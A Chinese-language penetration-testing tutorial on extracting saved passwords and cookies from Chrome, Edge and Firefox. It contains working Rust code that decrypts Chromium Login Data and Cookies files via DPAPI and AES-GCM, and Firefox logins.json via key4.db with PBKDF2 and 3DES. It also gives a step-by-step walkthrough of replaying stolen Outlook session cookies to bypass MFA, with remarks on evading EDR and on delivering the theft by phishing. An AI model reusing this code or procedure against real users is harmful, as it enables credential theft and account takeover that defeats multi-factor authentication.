渗透测试中凭据获取之浏览器

作者:Mac.Asure
原文地址:http://paper.seebug.org/3152/

1. 前言

本文介绍提取三种常见浏览器Password和Cookie的原理以及关键代码实现,测试版本为最新版浏览器。

2. 凭据获取 — Password

通过提取浏览器保存的账号和密码,可以对用户账户或内网关键系统进行访问和利用。

获取方法: 获取浏览器密码存储文件并解密相关加密字段。

2.1 提取原理

这里分别以浏览器内核做分析,Chrome和Edge均为Chromium内核,Firefox为Gecko内核。

2.1.1 Chromium内核

  • Chrome密码文件路径:%LocalAppData%\Google\Chrome\User Data\Default\Login Data
  • Chrome密钥文件路径:%LocalAppData%\Google\Chrome\User Data\Local State
  • Edge密码文件路径:%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data
  • Edge密钥文件路径:%LocalAppData%\Microsoft\Edge\User Data\Local State

将该文件复制一份将后缀名改为db(本身就是sqlite),即可用数据库工具打开;

关键字段:

  • origin_ur — url
  • username_value — 账号
  • password_value — 密码
图片[1]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

加密类型: DPAPI加密、AES加密;

2.1.1.1 解密方法

Chromium内核的浏览器加密的密码跟cookies加密一样,都是调用DPAPI进行解密AES密钥,再用AES进行解密即可。

2.1.1.2 代码实现

DPAPI 解密代码:

 fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
     let len = crypted_bytes.len();
     let mut bytes = Vec::from(crypted_bytes);
     let pb = bytes.as_mut_ptr();
     let mut blob = CRYPTOAPI_BLOB {
         pbData: pb,
         cbData: len as u32,
     };
     let mut out = Vec::with_capacity(len);
     let mut blob_out = CRYPTOAPI_BLOB {
         pbData: out.as_mut_ptr(),
         cbData: out.len() as u32,
     };
     unsafe {
         CryptUnprotectData(
             &mut blob,
             std::ptr::null_mut(),
             std::ptr::null(),
             std::ptr::null_mut(),
             std::ptr::null(),
             0,
             &mut blob_out,
         )
         .ok()?;
         let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
         LocalFree(blob_out.pbData as isize);
         Ok(slice.to_vec())
     }
 }

AES解密代码:

 pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
     if encrypted_value.len() == 0{
         return (String::from(" "), Vec::new());
     }
     let iv: &[u8] = &encrypted_value[3..15];
     let encrypted_value = &encrypted_value[15..];
     let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
     if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
         if let Ok(decoded) = String::from_utf8(decrypted) {
             return(decoded, iv.to_vec());
         }
     }
     return (String::new(), Vec::new());
 }

2.1.2 Gecko内核

Firefox密码文件路径:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\logins.json

关键字段:

  • hostname — url;
  • encryptedUsername — 账号;
  • encryptedPassword — 密码;
图片[2]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

Firefox密钥文件路径:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\key4.db

加密类型:SHA256加密、3DES-CBC加密;

2.1.2.1 解密方法

算法解密

firefox中的masterpassword默认不设置(为空),如果设置则需要提供masterpassword进行解密,否则会解密失败。

解密过程:

通过提取key4.db中的metadata表和nssprivate表中的特定值进行SHA1和SHA256加解密处理获得3DES的密钥,然后将logins.json中的加密账号密码提取,进行3DES解密获得明文账号密码。

详细解密流程图:

关键代码

解密item跟解密a11的流程是一样的,decrypt_pbe函数演示了如何解密a11值,解析item只需要判断解析后的结果是否为”password-check”;

SHA1加密+PBKDF2解密获取SHA256的密钥:

 fn sha1_encrypt(
     entry_salt: Vec<u8>,
     interation_count: u32,
     hex_byte_salts: Vec<u8>,
     master_password: String
 ) -> Vec<u8> {
     let mut sha1_hasher = Sha1::new();
         sha1_hasher.update(hex_byte_salts);
         sha1_hasher.update(master_password);
         let k = sha1_hasher.finalize().to_vec();
         let mut key = vec![0u8; 32];
         pbkdf2::<Hmac<Sha256>> (&k, &entry_salt, interation_count, &mut key).unwrap();
         key
 }

SHA256解密获取3DES解密密钥:

 fn sha256_decrypt(
     key: Vec<u8>,
     iv: Vec<u8>,
     ciphert: Vec<u8>
 ) -> Vec<u8> {
     let key_array: &[u8; 32] = array_ref!(key, 0, 32);
     let cipher = Cipher::new_256(key_array);
     let decrypted = cipher.cbc_decrypt(&iv, &ciphert);
 ​
     log::debug!("decrypt_data is: {:?}",decrypted);
     decrypted[..24].to_vec()
 }

DER解析获取加密需要的值:

 fn decrypt_pbe(
         a11: Vec<u8>,
         master_password: String,
         global_salt: String
     ) -> (Vec<u8>, u32, u64, Vec<u8>, Vec<u8>, Vec<u8> ) {
         let item = parse_der(&a11).unwrap();
         assert_eq!(item.1[0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.13", "No encryption method recognized");
         assert_eq!(item.1[0][1][0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.12", "No encryption method recognized");
         assert_eq!(item.1[0][1][0][1][3][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.2.9", "No encryption method recognized");
         assert_eq!(item.1[0][1][1][0].content.clone().as_oid().unwrap().to_string(), "2.16.840.1.101.3.4.1.42", "No encryption method recognized");
         let entry_salt = item.1[0][1][0][1][0].content.as_slice().unwrap();
         let interation_count = item.1[0][1][0][1][1].content.as_u32().unwrap();
         let key_length = item.1[0][1][0][1][2].content.as_u64().unwrap();
         assert_eq!(key_length, 32);
 ​
         let hex_byte_salts = hex::decode(global_salt.as_bytes()).unwrap();
         log::debug!("all is: {:?}", item);
         log::debug!("global_salt is: {:?}", hex_byte_salts);
         log::debug!("key_length is: {:?}", key_length);
         log::debug!("interation_count is: {:?}", interation_count);
 ​
         let mut iv: Vec<u8> = Vec::new();
         let iv_end = item.1[0][1][1][1].as_slice().unwrap();
         iv.push(4);
         iv.push(14);
         iv.extend_from_slice(iv_end);
         let ciphert = item.1[1].as_slice().unwrap();
         log::debug!("iv is: {:?}", iv);
         log::debug!("ciphert is: {:?}", ciphert);
 ​
         (entry_salt.to_vec(), interation_count, key_length, hex_byte_salts, iv, ciphert.to_vec())
     }

3DES解密获取明文密码:

  pub fn des3_decrypt(
             key: Vec<u8>,
             encryptdata: &str
         ) -> String {
             log::debug!("encryptdata is: {}", encryptdata);
             log::debug!("key is: {:?}", key);
             let base53_data = base64::decode(encryptdata).unwrap();
             let iv = &base53_data[34..42];
             let mut ciphertext = base53_data[44..].to_vec();
             type TDesCbc = Decryptor<TdesEde3>;
             let tdes = TDesCbc::new_from_slices(&key, iv).unwrap();
             let result = tdes.decrypt_padded_mut::<Pkcs7>(&mut ciphertext).unwrap();
             log::debug!("decrypt_data is: {:?}", String::from_utf8_lossy(result));
             String::from_utf8(result.to_vec()).unwrap()
 ​
         }

调用dll解密

调用Firefox nss3.dll中的函数进行解密;

nss3.dll调用函数:

  • NSS_Init — nss初始化;
  • PK11_GetInternalKeySlot — 获取内置的密钥槽(solt);
  • PK11_CheckUserPassword — 验证用户提供的密码是否与给定的密钥槽(slot)关联的用户密码匹配;
  • PK11_Authenticate — 对密钥槽(slot)进行授权;
  • PK11SDR_Decrypt — 解密;

参考代码:

 http://github.com/unode/firefox_decrypt

3. 凭据获取 — Cookie

上面演示了如何提取浏览器保存的密码,但如果登录的服务开启了多因素认证,不仅登录不上去还可能因为接收到相关验证码从而被发现,这种情况就体现出Cookie的重要性了。

3.1 绕过多因素(MFA)

多因素身份验证(MFA)是一种验证用户身份的方式,比传统的用户名与密码组合更加安全。MFA 通常包含一个密码,但同时也包含一个或两个其他身份验证因素。双因素身份验证是 MFA 的一种。

常见的多因素:

  • 短信验证:登录时会收到一条包含验证码的短信,输入正确的验证码后完成认证。
  • 邮箱验证:登录时绑定的邮箱会收到一封包含验证码的邮件,输入正确的验证码后完成认证。
  • 身份验证器:使用身份验证应用程序(例如Google Authenticator、Microsoft Authenticator)生成动态验证码。
  • 生物识别认证:包括指纹识别、面部识别、虹膜扫描等生物特征的认证方式。

如果控制了绑定邮箱或电脑手机同步(例如:Microsoft 手机连接),还可能绕过基于短信和邮箱的MFA登录,但是生物识别和身份验证器这两种方式就很难去绕过;

图片[3]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享
图片[4]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

3.1.1 Cookies绕过MFA

绕过MFA最常见的方法为中间人攻击和令牌窃取(Cookies);中间人攻击的利用方式也是获取受害人的令牌(Cookies)进行登录。

3.1.1.1 利用场景

钓鱼

通过钓鱼攻击,受害人点击恶意程序窃取浏览器Cookie并将其发送到公网上。

渗透

内网中需要登录关键系统,但该关键系统正常登录需要MFA认证,如果Cookie未过期则可以通过获取Cookie绕过MFA登录;

3.1.1.2 绕过方法

以outlook为例,outlook的Cookie分为存储Cookie和动态Cookie;

例如:登录outlook成功后,outlook服务器会返回一些Cookie,存储型Cookie会直接保存在本地,动态Cookie会随着浏览器关闭而消失。

利用动态Cookie登录其他用户outlook

获取方法:中间人攻击、在内存中提取Cookie;

通过两台主机一台登录outlook账号,一台没登录outlook账号对比访问http://outlook.live.com/mail/0的过程;

先看没有outlook Cookie的访问outlook邮箱,访问/mail/0后,会接着POST请求/owa/0/startupdata.ashx?app=Mail&n=0,响应码为440 Login Timeout,接着就会跳转至登录页面;

图片[5]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

再看存在outlook Cookie的访问outlook邮箱,POST请求/owa/0/startupdata.ashx?app=Mail&n=0,响应码为200;接着就会加载outlook邮箱页面了;

图片[6]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

到此有一个猜想,如果我将响应码200的Cookie复制到响应码440的Cookie上去,可不可以直接进入其outlook?于是用burp将访问/owa/0/startupdata.ashx?app=Mail&n=0的POST请求拦截,将Cookie换成存在前面响应码200的Cookie,响应200,接着会获取加载outlook邮箱内容,但是只替换这一个包不够,如果后面的请求包中不包含登录成功用户的Cookie一样会跳转到登录页面;

图片[7]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享
图片[8]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

这里可以用浏览器插件Cookie-Editor,将登录成功的outlook Cookie导出成json格式;

图片[9]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

未登录outlook主机这边,burp开启拦截模式,直接访问http://outlook.live.vom/mail/0,将这个请求包Forward后,会请求svg邮箱动态图片,在这个时候继续用浏览器插件Cookie-Editor,将上面导出的json内容导入,然后burp停止拦截,即可成功登录。

图片[10]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享
图片[11]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享
图片[12]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享
图片[13]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

存储型Cookie登录其他人员outlook

获取方式:提取本地浏览器Cookies文件中的Cookie;

Cookie导入

只获取存储Cookie则需要与服务器进行交互获取动态Cookie,如果写脚本来完成这个过程则每个网站都要编写一个脚本,所以可以将Cookie导入到本地的浏览器中,让浏览器自动完成这个过程;

之前尝试了导入到chrome的Cookie文件中,加密导入之后chrome不识别这些Cookie,尝试了将本地Cookie文件复制一份并将其注入、直接注入到原生的Cookie文件中,这两种方法都不行,这里判断Chromium对Cookie文件 进行类似完整性检查的操作;

Chromium内核的浏览器不行(可以看一些源码,但费时间),可以尝试下别的内核的浏览器,例如:Firefox,Firefox浏览器存储的Cookies是明文的,且不做完整性检测,可以将Cookie注入到Firefox的Cookies文件中。

当前主机名为WIN-2016 的主机上登录outlook;

图片[14]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

将主机WIN-2016的chrome中的Cookies提取出来;

图片[15]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

将提取出来的Cookie文件放到本地,将Firefox浏览器的Cookie复制一份,将其清空再将Cookie处理导入到该数据库中;

图片[16]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

打开构造好的数据库可以看到Cookie信息,Firefox存储的Cookie值是明文的;

图片[17]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

将原来的Cookies.sqlite替换掉;

图片[18]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

打开Firefox浏览器访问outlook即可实现登录。

图片[19]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

3.2 提取Cookie原理及利用

3.2.1 本地提取Cookies文件

3.2.1.1 提取Cookie原理

chrome浏览器自行生成密钥,将Cookie的值进行AES加密,将密文和其他信息保存到%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies中,将Cookies文件赋值一份出来并将后缀改为.db;

图片[20]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

再通过navicat打开即可看到Cookies文件内容,其中encrypted_vlaue字段的内容及为加密后的Cookie值;

图片[21]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

加密Cookie的密钥通过DPAPI加密保存至%LocalAppData%\Google\Chrome\User Data\Local State中,在json中”os_crypt”中的”encrypted_key”的值为加密密钥。

图片[22]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

优缺点

优点:

  • 无视Cookie分区存储,只获取存储Cookie,后面可以经过与网站交互获取动态Cookie;

缺点:

  • 需要关闭浏览器(否则Cookies文件会被占用);
  • 需要DPAPI解密(但是大部分杀软EDR不报警);
  • 只能获取存储Cookie,某些网站会存在动态Cookie,直接导入会登录失败(outlook);

3.2.1.2 提取流程

提取Cookies流程:

  1. 提取Cookie文件密文;
  2. 提取加密密钥;
  3. 通过DPAPI将密钥解密;
  4. 再通过解密后的密钥AES解密Cookie密文;

chrome Cookies加密流程图:

图片[23]-渗透测试中凭据获取之浏览器-渗透云记 - 专注于网络安全与技术分享

3.2.1.3 代码实现

DPAPI 解密代码:

 fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
     let len = crypted_bytes.len();
     let mut bytes = Vec::from(crypted_bytes);
     let pb = bytes.as_mut_ptr();
     let mut blob = CRYPTOAPI_BLOB {
         pbData: pb,
         cbData: len as u32,
     };
     let mut out = Vec::with_capacity(len);
     let mut blob_out = CRYPTOAPI_BLOB {
         pbData: out.as_mut_ptr(),
         cbData: out.len() as u32,
     };
     unsafe {
         CryptUnprotectData(
             &mut blob,
             std::ptr::null_mut(),
             std::ptr::null(),
             std::ptr::null_mut(),
             std::ptr::null(),
             0,
             &mut blob_out,
         )
         .ok()?;
         let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
         LocalFree(blob_out.pbData as isize);
         Ok(slice.to_vec())
     }
 }

AES解密代码:

 pub fn decrypt_Cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
     if encrypted_value.len() == 0{
         return (String::from(" "), Vec::new());
     }
     let iv: &[u8] = &encrypted_value[3..15];
     let encrypted_value = &encrypted_value[15..];
     let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
     if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
         if let Ok(decoded) = String::from_utf8(decrypted) {
             return(decoded, iv.to_vec());
         }
     }
     return (String::new(), Vec::new());
 }

3.2.2 内存中提取Cookies

3.2.2.1 提取Cookies原理

基于Chromium 内核的浏览器在启动时调用CookieMonster 从磁盘 Cookie 数据库加载所有 Cookie;对目标主机内网进行内存扫描,通过特定浏览器特征码定位CookieMonster 内存地址并转储Cookies。

优缺点

优点:

  • 无需关闭浏览器进程;
  • 获取对应网站的所有Cookie(动态Cookie+存储Cookie),直接导入即可成功登录;
  • 不需要用DPAPI解密;

缺点:

  • 只能转储常规Cookie,Chromium后面会将Cookie分区存储;

3.2.2.2 提取流程

提取流程如下:

  • 定位chrome进程pid;
  • 在进程中寻找chrome.dll的基地址和大小;
  • 通过三次特征查询定位CookieMonster 管理Cookie的内存地址;
  • 在CookieMonster地址中读取每个Cookie内容;

工具地址:

 http://github.com/Meckazin/ChromeKatz
© 版权声明
THE END
喜欢就支持一下吧
点赞1642 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容